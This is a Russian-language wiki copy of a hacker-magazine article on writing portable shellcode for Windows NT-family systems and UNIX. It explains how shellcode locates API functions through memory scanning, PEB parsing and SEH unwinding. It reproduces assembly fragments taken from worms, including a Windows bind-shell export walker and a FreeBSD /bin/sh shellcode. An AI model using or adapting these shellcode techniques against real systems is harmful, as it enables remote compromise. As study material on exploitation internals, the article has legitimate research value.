Различия

Здесь показаны различия между двумя версиями данной страницы.

Ссылка на это сравнение

articles:buf.d_api [2017/09/05 02:55] (текущий)
Строка 1: Строка 1:
 +====== buf.D_API ======
 +<​sub>​{{buf.D_API.odt|Original file}}</​sub>​
 +
 +====== техника написания переносимого shell-кода ======
 +
 +крис касперски ака мыщъх
 +
 +**shell****-код никогда заранее не знает куда попадет,​ поэтому он должен уметь выживать в любых условиях,​ автоматически адаптируясь под конкретную операционную систему,​ что не так-то просто сделать. подавляющее большинство хакеров именно на этом и прокалывались. немногие выжившие в поединке дали миру киберпространства то, в чем нуждались десятки червей,​ вирусов и их создателей…**
 +
 +===== введение =====
 +
 +Последнее время в хакерских кругах много говорят о переносимом shell-коде. Одни восхищаются им, другие презрительно хмыкают,​ уподобляя переносимый shell-код морской свинке. И не морской,​ и не свинке. Шутка. Но доля истины в ней есть. "​Переносимым"​ называют программное обеспечение,​ полностью абстрагированное от конструктивных особенностей конкретного программно-аппаратного обеспечения. Функция printf успешно выводит "​hello,​ world!"​ как на монитор,​ так и на телетайп. Поэтому,​ она переносима. Обратите внимание:​ переносима именно //​**функция**//,​ но не ее //​**реализация**//​. Монитор и телетайп обслуживает //​различный//​ код, выбираемый на стадии компиляции приложения,​ а точнее его линковки,​ но это уже не суть важно.
 +
 +shell-код – это машинный код, тесно связанный с особенностями атакуемом системы и переносимым он не может быть по определению. Компиляторов shell-кода не существует,​ хотя бы уже потому что не существует адекватных языков его описания,​ вынуждая нас прибегать к ассемблеру и машинному коду, которые у каждого процессора свои. Хуже того. В отрыве от периферийного окружения,​ голый процессор никому не интересен,​ ведь shell-коду приходится не только складывать и умножать,​ но еще и открывать/​закрывать файлы, обрабатывать сетевые запросы,​ а для этого необходимо обратиться к API-функциям операционной системы или к драйверу соответствующего устройства. Различные операционные системы используют различные соглашения и эти соглашения сильно неодинаковы. Создать shell-код,​ поддерживающих десяток-другой популярных осей, вполне возможно,​ но его размеры превысят все допустимые лимиты и ограничения (длина переполняющихся буферов от силы измеряется десятками байт, это что же выходит:​ по одному байту на каждую версию shell-кода?​!).
 +
 +Условимся называть переносимым shell-кодом машинный код, поддерживающий заданную //​**линейку**//​ операционных систем (например,​ Windows NT,​ Window 2000 и Windows XP). Как показывает практика,​ для решения подавляющего большинства задач такой степени переносимости вполне достаточно. В конце концов,​ гораздо проще написать десяток узкоспециализированных shell-кодов,​ чем один универсальный. Что поделаешь,​ переносимость требует жертв и в первую очередь – увеличения объема shell-кода,​ а потому она оправдывает себя только в исключительных ситуациях.
 +
 +===== требования,​ предъявляемые к переносимому shell-коду =====
 +
 +Переносимый shell-код должен быть полностью перемещаем (т. е. сохранять работоспособность при любом расположении в памяти) и использовать минимум системно-зависимых служебных структур,​ закладываясь лишь на наименее изменчивые и наиболее документированные из них.
 +
 +Отталкиваться от содержимого регистров ЦП на момент возникновения переполнения категорически недопустимо,​ поскольку их значения в общем случае неопределенны и решиться на такой шаг можно только с голодухи,​ когда shell-код упрямо не желает вмещать в отведенное ему количество байт и приходится импровизировать,​ принося в жертву переносимость.
 +
 +Забудьте о хитрых трюках (в народе именуемых "​хаками"​),​ эквилибристических извращениях и недокументированных возможностях – все это негативно сказывается на переносимости и фактически ничего не дает в замен. Помните,​ анекдот:​ "​Моя программа в сто раз компактнее,​ быстрее и элегантнее твоей!"​ "​– Зато моя программа работает,​ а твоя нет"​. Тезис о том, что хакерство – это искусство еще никто не отменял,​ но не путайте божий дар с яичницей. Круто извратиться каждый ламер сможет,​ а вот умение забросить shell-код на сервер ничего при этом не уронив – дано далеко не каждому.
 +
 +===== пусти достижения мобильности =====
 +
 +Техника создания перемещаемого кода тесно связана с архитектурой конкретного микропроцессора. В частности,​ линейка x86 поддерживает следующие относительные команды:​ PUSH/POP, CALL и Jx. Старушка PDP-11 в этом отношении была намного богаче и, что самое приятное,​ позволяла использовать регистр указателя команд в адресных выражениях,​ существенно упрощая нашу задачу. Но, к сожалению,​ не мы выбираем процессоры. Это процессоры выбирают нас.
 +
 +Команды условного перехода Jxx всегда относительны,​ т. е. операнд команды задает отнюдь не целевой адрес, а //​разницу//​ между целевым адресом и адресом следующей команды,​ благодаря чему переход полностью перемещаем. Поддерживаются два типа операндов:​ byte и word/dword, оба знаковые,​ т. е. переход может быть направлен как "​вперед",​ так и "​назад"​ (в последнем случае операнд становится отрицательным).
 +
 +Команды безусловного перехода JMP бывают как абсолютными,​ так и относительными. Относительные начинаются с опкода EBh (операнд типа byte) или E9h (операнд типа word/​dword),​ а абсолютные – с EAh, при этом операнд записывается в форме сегмент:​ смещение. Существуют еще и косвенные команды,​ передающие управление по указателю,​ лежащему по абсолютному адресу или регистру. Последнее наиболее удобно и осуществляется приблизительно так: mov eax,​ абсолютный адрес/​jmp eax.
 +
 +Команда вызова подпрограммы CALL ведет себя аналогично jmp, за тем лишь исключением,​ что кодируется другими опкодами (E8h – относительный операнд типа word/dword, FFh /​2 – косвенный вызов) и перед передачей управления на целевой адрес забрасывает на верхушку стека адрес возврата,​ представляющий собой адрес команды,​ следующей за call.
 +
 +При условии,​ что shell-код расположен в стеке (а при переполнении автоматических буферов он оказывается именно там), мы можем использовать регистр ESP в качестве базы, однако,​ текущее значение ESP должно быть известно,​ а известно оно далеко не всегда. Для определения текущего значения регистра указателя команд достаточно сделать near call и вытащить адрес возврата командой pop. Обычно это выглядит так:
 +
 +00000000: E800000000call000000005;​ закинуть EIP+sizeof(call) встек
 +
 +00000005: 5Dpopebp; теперь в регистре ebp текущий eip
 +
 +Листинг 1 определение расположения shell-кода в памяти
 +
 +Приведенный код не свободен от нулей (а нули в shell-коде в большинстве случаев недопустимы),​ и чтобы от них избавиться call необходимо перенаправить "​назад":​
 +
 +00000000: EB04jmps000000006;​ короткий прыжок на call
 +
 +00000002: 5Dpopebp; ebp содержит адрес следующий за call
 +
 +00000003: 90nop; \
 +
 +00000004: 90nop; ​ +- актуальный shell-код
 +
 +00000005: 90nop; /
 +
 +00000006: E8F7FFFFFFcall000000002;​ закинуть адрес следующей команды в стек
 +
 +Листинг 2 освобождение shell-кода от паразитных нулевых символов
 +
 +===== саксь и маст дай жесткой привязки =====
 +
 +Нет ничего проще вызова API-функции по абсолютным адресам. Выбрав функцию (пусть это будет GetCurrentThreadId,​ экспортируемая KERNEL32.DLL) мы пропускам ее через утилиту dumpbin, входящую в комплект поставки практически любого компилятора. Узнав RVA (RelativeVirtualAddress – относительный виртуальный адрес) нашей подопечной,​ мы складываем его с базовым адресом загрузки,​ сообщаемым тем же dumpbin'​ом,​ получая в результате абсолютный адрес функции.
 +
 +Полный сеанс работы с утилитой выглядит так:
 +
 +>​dumpbin.exe /EXPORTS KERNEL32.DLL > KERNEL32.TXT
 +
 +>type KERNEL32.TXT | MORE
 +
 +ordinal hint RVA  name
 +
 +
 +
 +270  10D 00007DD2 GetCurrentProcessId
 +
 +271  10E 000076AB GetCurrentThread
 +
 +272  10F **000076A1** GetCurrentThreadId
 +
 +273  110 00017CE2 GetDateFormatA
 +
 +274  111 00019E18 GetDateFormatW
 +
 +
 +
 +>​dumpbin.exe /HEADERS KERNEL32.DLL > KERNEL32.TXT
 +
 +>type KERNEL32.TXT | MORE
 +
 +
 +
 +OPTIONAL HEADER VALUES
 +
 + 10B magic #
 +
 + 5.12 linker version
 +
 + 5D800 size of code
 +
 + 56400 size of initialized data
 +
 + 0 size of uninitialized data
 +
 + 871D RVA of entry point
 +
 + 1000 base of code
 +
 + 5A000 base of data
 +
 + ​**77E80000** image base
 +
 + 1000 section alignment
 +
 + 200 file alignment
 +
 +
 +
 +Листинг 3 для определения абсолютного адреса функции GetCurrentThreadId необходимо сложить ее RVA адрес (76A1h) с ее базовым адресом загрузки модуля (77E80000h)
 +
 +На машине автора абсолютный адрес функции GetCurrentThreadId равен 77E876A1h, но в других версиях Windows NT он наверняка будет иным. Зато ее вызов свободно укладывается всего в две строки,​ соответствующие следующим семи байтам:​
 +
 +00000000: B8A1867E07moveax,​0077E86A1
 +
 +00000005: FFD0calleax
 +
 +Листинг 4 прямой вызов API-функции по абсолютному адресу
 +
 +Теперьпопробуемвызватьфункцию connect, экспортируемую ws2_32.dll. Пропускаем ws2_32.dll через dumpbin и… Стоп! А кто нам вообще обещал,​ что эта динамическая библиотека окажется в памяти?​ А если даже и окажется,​ то не факт, что базовый адрес, прописанный в ее заголовке,​ совпадает с реальным базовым адресом загрузки. Ведь динамических библиотек много и если этот адрес уже кем-то занят, операционная система загрузит библиотеку в другой регион памяти.
 +
 +Лишь две динамические библиотеки гарантируют свое присутствие в адресном пространстве любого процесса,​ всегда загружаясь по одним и тем же адресам(( ​ базовый адрес загрузки этих динамических библиотек постоянен для данной версии операционной системы )). Это: KEREN32.DLL и NTDLL.DLL. Функции,​ экспортируемые остальными библиотеками,​ правильно вызывать так:
 +
 +h = LoadLibraryA("​ws2_32.DLL"​);​
 +
 +if (h != 0) __error__;
 +
 +zzz = GetProcAddress(h,​ "​connect"​);​
 +
 +Листинг 5 псевдокод,​ демонстрирующий вызов произвольных функций
 +
 +Таким образом,​ задача вызова произвольной функции сводится к поиску адресов функций LoadLibraryA и GetProcAddress.
 +
 +===== артобстрел прямого поиска в памяти =====
 +
 +Наиболее универсальный,​ переносимый и надежный способ определения адресов API-функций сводится к сканированию адресного пространства процесса на предмет поиска PE-сигнатур с последующим разбором таблицы экспорта.
 +
 +Устанавливаем указатель на C0000000h (верхняя граница пользовательского пространства для Windows 2000 AdvancedServer и DatacenterServer,​ запущенных с загрузочным параметром /3GB) или на 80000000h (верхняя граница пользовательского пространства всех остальных систем).
 +
 +Проверяем доступность указателя вызовом функции IsBadReadPrt,​ экспортируемой KERNEL32.DLL или, устанавливаем свой обработчик структурных исключений для предотвращения краха системы (подробности обработки структурных исключений – в следующей статье). Если здесь лежит "​MZ",​ увеличиваем указатель на 3Ch байта, извлекая двойное слово e_lfanew, содержащее смещение "​PE"​ сигнатуры. Если эта сигнатура действительно обнаруживается,​ базовый адрес загрузки динамического модуля найден и можно приступать к разбору таблицы экспорта,​ из которого требуется вытащить адреса функций GetLoadLibraryA и GetProcAddress (зная их, мы узнаем все остальное). Если хотя бы одно из этих условий не выполняется,​ уменьшаем указатель на 10000h и все повторяем сначала (базовые адреса загрузки всегда кратны 10000h, поэтому этот прием вполне законен).
 +
 +BYTE* pBaseAddress = (BYTE*) 0xС0000000;//​ верхняя граница для всех систем
 +
 +while(pBaseAddress)//​ мотаем цикл от бобра до обеда
 +
 +{
 +
 +// проверка доступности адреса на чтение
 +
 +if (!IsBadReadPtr(pBaseAddress,​ 2))
 +
 +
 +
 +// это "​MZ"?​
 +
 +if (*(WORD*)pBaseAddress == 0x5A4D)
 +
 +
 +
 +// указатель на "​PE"​ валиден?​
 +
 +if (!IsBadReadPtr(pBaseAddress + (*(DWORD*)(pBaseAddress+0x3C)),​ 4))
 +
 +
 +
 +// а это "​PE"?​
 +
 +if (*(DWORD*)(pBaseAddress + (*(DWORD*)(pBaseAddress+0x3C))) == 0x4550)
 +
 +
 +
 +// приступаем к разбору таблицы импорта
 +
 +if (n2k_simple_export_walker(pBaseAddress)) break;
 +
 +
 +
 +// тестируем следующий 64 Кб блок памяти
 +
 +pBaseAddress -= 0x10000;
 +
 +}
 +
 +Листинг 6 псевдокод,​ осуществляющий поиск базовых адресов всех загруженных модулей по PE-сигнатуре
 +
 +Разбор таблицы экспорта осуществляется приблизительно так (пример,​ выдранный из безымянного червя BlackHat, полный исходный текст которого можно найти на сайте www.blackhat.com):​
 +
 +callhere
 +
 +db"​GetProcAddress",​0,"​LoadLibraryA",​0
 +
 +db"​CreateProcessA",​0,"​ExitProcess",​0
 +
 +db"​ws2_32",​0,"​WSASocketA",​0
 +
 +db"​bind",​0,"​listen",​0,"​accept",​0
 +
 +db"​cmd",​0
 +
 +here:
 +
 +popedx
 +
 +pushedx
 +
 +movebx,​77F00000h
 +
 +l1:
 +
 +cmpdword ptr [ebx],​905A4Dh ;/x90ZM
 +
 +jel2
 +
 +;db74h,03h
 +
 +decebx
 +
 +jmpl1
 +
 +l2:
 +
 +movesi,​dword ptr [ebx+3Ch]
 +
 +addesi,​ebx ​
 +
 +movesi,​dword ptr [esi+78h]
 +
 +addesi,​ebx ​
 +
 +movedi,​dword ptr [esi+20h]
 +
 +addedi,​ebx ​
 +
 +movecx,​dword ptr [esi+14h]
 +
 +pushesi
 +
 +xoreax,​eax ​
 +
 +l4:
 +
 +pushedi
 +
 +pushecx
 +
 +movedi,​dword ptr [edi]
 +
 +addedi,​ebx ​
 +
 +movesi,​edx ​
 +
 +xorecx,​ecx ​
 +
 +;​GetProcAddress
 +
 +movcl,0Eh
 +
 +repecmps
 +
 +popecx
 +
 +popedi
 +
 +jel3
 +
 +addedi,4
 +
 +inceax
 +
 +loopl4
 +
 +jmpecx
 +
 +l3:
 +
 +popesi
 +
 +movedx,​dword ptr [esi+24h]
 +
 +addedx,ebx
 +
 +shleax,1
 +
 +addeax,edx
 +
 +xorecx,ecx
 +
 +movcx,word ptr [eax]
 +
 +moveax,​dword ptr [esi+1Ch]
 +
 +addeax,ebx
 +
 +shlecx,2
 +
 +addeax,ecx
 +
 +movedx,​dword ptr [eax]
 +
 +addedx,ebx
 +
 +popesi
 +
 +movedi,esi
 +
 +xorecx,ecx
 +
 +;Get 3 Addr
 +
 +movcl,3
 +
 +callloadaddr
 +
 +addesi,0Ch
 +
 +Листинг 7 ручной разбор таблицы экспорта
 +
 +Главный недостаток этого способа в его чрезмерной громоздкости,​ а ведь предельно допустимый объем shell-кода ограничен,​ но, к сожалению,​ ничего лучшего пока не придумали. Поиск базового адреса можно и заоптимизировать (что мы сейчас,​ собственно,​ и продемонстрируем),​ но от  разбора экспорта никуда не уйти… Это карма переносимого shell-кода или дань, выплачивая за мобильность.
 +
 +===== огонь в прямой наводкой – PEB =====
 +
 +Из всех способов определения базового адреса,​ наибольшей популярностью пользуется анализ PEB (Process environment block – Блок Окружения Процесса) – служебной структуры данных,​ содержащей среди прочей полезной информации и базовые адреса всех загруженных модулей.
 +
 +Популярность незаслуженная и необъяснимая. Ведь PEB – это внутренняя кухня операционной системы Windows NT,​ которой ни документация,​ ни включаемые файлы делится не собираются и лишь Microsoft Kernel Debugger обнаруживает обрывки информации. Подобная степень недокументированности не может не настораживать. В любой из последующих версиях Windows, структура PEB может измениться,​ как это она уже делала неоднократно,​ и тогда данный примем перестанет работать,​ а работает он, кстати говоря,​ только в NT. Линейка 9x отдыхает.
 +
 +Так что задумайтесь – а так ли вам этот PEB нужен? Единственное его достоинство – предельно компактный код:
 +
 +00000000: 33C0xoreax,​eax;​ eax := 0
 +
 +00000002: B030moval,​030;​ eax := 30h
 +
 +00000004: 648B00moveax,​fs:​[eax];​ PEB base
 +
 +00000007: 8B400Cmoveax,​ [eax][0000C];​ PEB_LDR_DATA
 +
 +0000000A: 8B401Cmoveax,​ [eax][0001C];​ 1йэлемент InInitOrderModuleList
 +
 +0000000D: ADlodsd; следующий элемент
 +
 +0000000E: 8B4008moveax,​ [eax][00008];​ базовый адрес KERNEL32.DLL
 +
 +Листинг 8 определение базового адреса KERNEL32.DLL путем анализа PEB
 +
 +===== раскрутка стека структурных исключение =====
 +
 +Обработчик структурных исключений,​ назначаемый операционной системой по умолчанию,​ указывает на функцию KERNEL32!_except_handler3. Определим ее адрес, мы определим положение одной из ячеек, гарантированно принадлежащей модулю KERNEL32.DLL,​ после чего останется округлить его на величину кратную 1.0000h и заняться поисками PE сигнатуры по методике,​ изложенной в "​артобстрел прямого поиска в памяти"​ с той лишь разницей,​ что проверять доступность указателя перед обращением к нему ненужно,​ т. к. теперь он заведомо доступен.
 +
 +Практически все приложения используют свои обработчики структурных исключений и потому,​ текущий обработчик не совпадает с обработчиком,​ назначенным операционной системой и shell-коду требуется раскрутить цепочку обработчиков,​ добравшись до самого конца. Последний элемент списка и будет содержать адрес KERNEL32!_except_handler3.
 +
 +Достоинство этого приема в том, что он использует только документированные свойства операционной системы,​ работая на всех операционных системах семейства Windows, исключая,​ разумеется Windows 3.x,​ где все не так. К тому же он довольно компактен.
 +
 +00000000: 6764A10000moveax,​fs:​[00000];​ текущ. EXCEPTION_REGISTRATION
 +
 +00000005: 40inceax; если eax был –1, станет 0
 +
 +00000006: 48deceax; откат на прежний указатель
 +
 +00000007: 8BF0movesi,​eax;​ esi на EXCEPTION_REGISTRATION
 +
 +00000009: 8B00moveax,​[eax];​ EXCEPTION_REGISTRATION.prev
 +
 +0000000B: 40inceax; если eax был –1, станет 0
 +
 +0000000C: 75F8jne000000006;​ если не нуль, разматываем дальше
 +
 +0000000E: ADlodsd; пропускаем prev
 +
 +0000000F: ADlodsd; извлекаем handler
 +
 +00000010: 6633C0xorax,​ax;​ выравниваем на 64 Кб
 +
 +00000013: EB05jmps00000001A;​ прыгаем в тело цикла
 +
 +00000015: 2D00000100subeax,​000010000;​ спускаемся на 64 Кб вниз
 +
 +0000001A: 6681384D5Acmpw,​[eax],​05A4D;​ это "​MZ"?​
 +
 +0000001F: 75F4jne000000015;​ если не "​MZ",​ продолжаем мотать
 +
 +00000021: 8B583Cmovebx,​[eax+3Ch];​ извлекаем указатель на PE
 +
 +00000024: 813C1850450000cmp[eax+ebx],​4550h;​ это "​PE"?​
 +
 +0000002B: 75E8jne000000015;​ если не "​PE",​ продолжаем мотать
 +
 +Листинг 9 определение базового адреса KERNEL32.DLL через SEH, возвращаемом в регистре EAX
 +
 +===== nativeAPI или портрет в стиле "​ню"​ =====
 +
 +Высшим пилотажем хакерства считается использование голого API операционной системы (оно же nativeAPI или сырое API). На самом деле, извращение без причины – признак ламерщины. Мало того, что nativeAPI-функции полностью недокументированны и подвержены постоянным изменениям,​ так они еще и непригодны к непосредственному употреблению (вот поэтому они и "​сырые"​). Это полуфабрикаты,​ реализующие низкоуровневые примитивы (primitive),​ своеобразные строительные кирпичики,​ требующие большого объема сцепляющего кода, конкретные примеры реализации которого можно найти в NTDLL.DLL и KERNEL32.DLL.
 +
 +В Windows NT доступ к native-API функциям осуществляется через прерывание INT 2Eh. В регистр EAX заносится номер прерывания,​ а в EDX – адрес параметрического блока с аргументами. В Windows XP для этой же цели используется машинная команда sysenter, но все свойства прерывания INT 2Eh полностью сохранены,​ во всяком случае пока…
 +
 +Ниже перечислены наиболее интересные функции native-API, применяющиеся в shell-кодах,​ а подробное изложение техники их вызова на русском языке можно найти в частности здесь: http://​www.wasm.ru/​docs/​3/​gloomy.zip.
 +
 + ​000hAcceptConnectPort(24 bytes of parameters)
 +
 + ​00AhAllocateVirtualMemory(24 bytes of parameters)
 +
 + ​012hConnectPort(32 bytes of parameters)
 +
 + ​017hCreateFile(44 bytes of parameters)
 +
 + ​019hCreateKey(28 bytes of parameters)
 +
 + ​01ChCreateNamedPipeFile(56 bytes of parameters)
 +
 + ​01EhCreatePort(20 bytes of parameters)
 +
 + ​01FhCreateProcess(32 bytes of parameters)
 +
 + ​024hCreateThread(32 bytes of parameters)
 +
 + ​029hDeleteFile(4 bytes of parameters)
 +
 + ​02AhDeleteKey(4 bytes of parameters)
 +
 + ​02ChDeleteValueKey(8 bytes of parameters)
 +
 + ​02DhDeviceIoControlFile(40 bytes of parameters)
 +
 + ​03AhFreeVirtualMemory(16 bytes of parameters)
 +
 + ​03ChGetContextThread(8 bytes of parameters)
 +
 + ​049hMapViewOfSection(40 bytes of parameters)
 +
 + ​04FhOpenFile(24 bytes of parameters)
 +
 + ​051hOpenKey(12 bytes of parameters)
 +
 + ​054hOpenProcess(16 bytes of parameters)
 +
 + ​059hOpenThread(16 bytes of parameters)
 +
 + ​067hQueryEaFile(36 bytes of parameters)
 +
 + ​086hReadFile(36 bytes of parameters)
 +
 + ​089hReadVirtualMemory(20 bytes of parameters)
 +
 + ​08FhReplyPort(8 bytes of parameters)
 +
 + ​092hRequestPort(8 bytes of parameters)
 +
 + ​096hResumeThread(8 bytes of parameters)
 +
 + ​09ChSetEaFile(16 bytes of parameters)
 +
 + ​0B3hSetValueKey(24 bytes of parameters)
 +
 + ​0B5hShutdownSystem(4 bytes of parameters)
 +
 + ​0BAhSystemDebugControl(24 bytes of parameters)
 +
 + ​0BBhTerminateProcess(8 bytes of parameters)
 +
 + ​0BChTerminateThread(8 bytes of parameters)
 +
 + ​0C2hUnmapViewOfSection(8 bytes of parameters)
 +
 + ​0C3hVdmControl(8 bytes of parameters)
 +
 + ​0C8hWriteFile(36 bytes of parameters)
 +
 + ​0CBhWriteVirtualMemory(20 bytes of parameters)
 +
 + ​0CChW32Call(20 bytes of parameters)
 +
 +Листинг 10 основные функции native-API
 +
 +===== сводная таблица различных методов =====
 +
 +|метод|чем поддерживается|переносим?​|удобен в реализации?​|
 +| ::: |NT/​2000/​XP|9x| ::: | ::: |
 +|жесткая привязка|да|да|нет|да|
 +|поиск в памяти|да|да|да|нет|
 +|анализ PEB|да|нет|частично|да|
 +| **раскрутка ****SEH**|**да**|**да**|**да**|**да**|
 +| nativeAPI|да|не совсем(( ​ разумеется,​ у 9x есть nativeAPI, но другое ))|нет|нет|
 +
 +Таблица 1 сводная таблица различных методов поиска API-адресов,​ победитель выделен красным цветом
 +
 +===== системные вызовы UNIX =====
 +
 +Зоопарк UNIX-подобных систем валит с ног своим разнообразием,​ осложняя разработку переносимых shell-кодов до чрезвычайности.
 +
 +Используются по меньшей мере шесть способов организации интерфейса с ядром: дальний вызов по селектору семь смещение ноль (HP-UX/​PA-RISC,​ Solaris/​x86,​ xBSD/x86), syscall (IRIX/​MIPS),​ ta 8 (Solaris/​SPARC),​ svca (AIX/​POWER/​PowerPC),​ INT 25h (BeOS/x86) и INT 80h (xBSD/x86, Linix/x86), причем порядок передачи параметров и номера системных вызов у всех разные. Некоторые системы перечислены дважды,​ это означает,​ что они используют гибридный механизм системных вызовов.
 +
 +Подробно описывать каждую из систем здесь неразумно,​ т. к. это заняло бы слишком много места, тем более, что это давным-давно описано в "UNIX Assembly Codes Development forVulnerabilitiesIllustrationPurposes"​ от Last Stage of Delirium Research Group (http://​opensores.thebunker.net/​pub/​mirrors/​blackhat/​presentations/​bh-usa-01/​LSD/​bh-usa-01-lsd.pdf). Да-да! Той самой легендарной хакерской группы,​ что нашла дыру в RPC. Это действительно толковые парни, и пишут они классно (я только крякал когда читал).
 +
 +Ниже в качестве примера приведен код, дающий удаленный shell под *BSD/x86, выдранный из червя mworm с краткими комментариями (комментарии – мои, а червь свой собственный):​
 +
 +data:​0804F860x86_fbsd_shell:;​ eax := 0
 +
 +data:​0804F860 31 C0xoreax, eax
 +
 +data:​0804F862 99cdq; edx : = 0
 +
 +data:​0804F863 50pusheax
 +
 +data:​0804F864 50pusheax
 +
 +data:​0804F865 50pusheax
 +
 +data:​0804F866 B0 7Emoval, 7Eh
 +
 +data:​0804F868 CD 80int80h; LINUX - sys_sigprocmask
 +
 +data:​0804F86A 52pushedx; завершающий ноль
 +
 +data:​0804F86B 68 6E 2F 73 68push68732F6Eh;​ ..n/sh
 +
 +data:​0804F870 44incesp
 +
 +data:​0804F871 68 2F 62 69 6E push6E69622Fh;​ /bin/n..
 +
 +data:​0804F876 89 E3movebx, esp
 +
 +data:​0804F878 52pushedx
 +
 +data:​0804F879 89 E2movedx, esp
 +
 +data:​0804F87B 53pushebx
 +
 +data:​0804F87C 89 E1movecx, esp
 +
 +data:​0804F87E 52pushedx
 +
 +data:​0804F87F 51pushecx
 +
 +data:​0804F880 53pushebx
 +
 +data:​0804F881 53pushebx
 +
 +data:​0804F882 6A 3Bpush3Bh
 +
 +data:​0804F884 58popeax
 +
 +data:​0804F885 CD 80int80h; LINUX - sys_olduname
 +
 +data:​0804F887 31 C0xoreax, eax
 +
 +data:​0804F889 FE C0incal
 +
 +data:​0804F88B CD 80int80h; LINUX - sys_exit
 +
 +Листинг 11 фрагмент червя mworm, демонстрирующий технику использования системных вызовов
 +
 +{{buf.d_api_Image_0.png?​553}}
 +
 +Рисунок 1 еще один пример использования системных вызовов в диверсионных целях
 +
 +===== заключение =====
 +
 +В непрерывно изменяющемся мире киберпространства,​ полученные знания и навыки устаревают необычайно быстро и потому предложенные приемы спустя некоторое время перестанут работать. Но, прежде чем это произойдет,​ хакеры додумаются до новых!
 +
 +Не воспринимайте данную статью как догму! Это уже отработанный материал. Устремите свой взгляд в мутную пелену будущего. Что вы видите там? Какие идеи мелькают в вашей голове?​ Что вы ждете? Ведь если вы не додумаетесь,​ никто не додумается! Так дерзайте же!
 +
 +